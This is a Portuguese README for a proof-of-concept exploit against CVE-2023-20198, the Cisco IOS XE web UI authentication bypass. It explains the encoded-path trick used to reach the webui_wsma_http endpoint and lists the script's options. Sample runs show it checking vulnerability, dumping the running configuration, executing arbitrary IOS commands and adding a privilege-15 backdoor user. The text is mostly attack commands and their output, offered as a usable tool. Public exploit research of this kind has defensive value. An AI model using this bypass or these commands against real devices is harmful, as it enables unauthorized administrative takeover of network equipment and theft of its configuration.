
Exploração de prova de conceito para CVE-2023-20198 visando a interface web do Cisco IOS XE. Permite execução remota de comandos não autenticada, recuperação de configuração e escalada de privilégio via endpoints SOAP.
Exploit PoC para CVE-2023-20198
CVE-2023-20198 é caracterizada por validação inadequada de caminho para contornar a filtragem do Nginx e alcançar o endpoint web webui_wsma_http sem exigir autenticação.
Ao contornar a autenticação do endpoint, um atacante pode executar comandos arbitrários do Cisco IOS ou realizar alterações de configuração com privilégios de nível 15.
A investigação da Cisco sobre a exploração ativa da vulnerabilidade anteriormente não divulgada revelou que os agentes de ameaças exploraram primeiro o CVE-2023-20198 para adicionar um novo usuário com nível de privilégio 15. Outros ataques envolveram a exploração do CVE-2023-20273 para escalar para o usuário root do sistema Linux subjacente, a fim de facilitar a implantação.
Este PoC explora o CVE-2023-20198 para aproveitar dois endpoints SOAP XML diferentes:
As opções de verificação de vulnerabilidade, configuração e execução de comandos visam todas o endpoint SOAP cisco:wsma-exec para inserir comandos na tag do elemento execCLI.
A opção de adicionar usuário visa o endpoint SOAP cisco:wsma-config para realizar uma alteração de configuração e adicionar a conta com nível de privilégio 15. Este endpoint poderia ser [ab]usado para fazer outras alterações de configuração, mas isso está fora do escopo deste PoC.
O abuso do endpoint SOAP cisco:wsma-exec veio do template do nuclei
O abuso do endpoint SOAP cisco:wsma-config veio do PoC do horizon3ai
Nota: Não conduzi nenhuma das pesquisas originais nem o desenvolvimento do PoC para este CVE. Consulte a seção de referências para os créditos.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Para verificar o CVE-2023-20198, -c tentará explorar a vulnerabilidade para executar uname -a
Exemplo:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
A opção -g executa sh run para obter a configuração em execução
Exemplo:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Comandos arbitrários do Cisco IOS podem ser executados com a opção -e.
Deve-se ter extrema cautela ao usar isso para fazer alterações de configuração. Não há validação de entrada e as alterações são aplicadas imediatamente à configuração em execução.
Exemplo:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
A opção -a pode ser usada para criar uma nova conta de usuário com nível de privilégio 15, opcionalmente especificando o nome da conta e a senha com -u e -p, respectivamente.
Exemplo:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
A opção -d pode ser usada para remover uma conta de usuário do dispositivo e respeita o nome de usuário especificado com -u.
Deve-se ter cuidado para garantir que você não está excluindo uma conta legítima.
Isso foi adicionado para casos em que o acesso shell/webui a um Cisco explorado não pode ser obtido. Foi observado que adicionar um usuário com nível de privilégio 15 não concede acesso ao webui e pode levar a deixar artefatos de exploração nos hosts.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC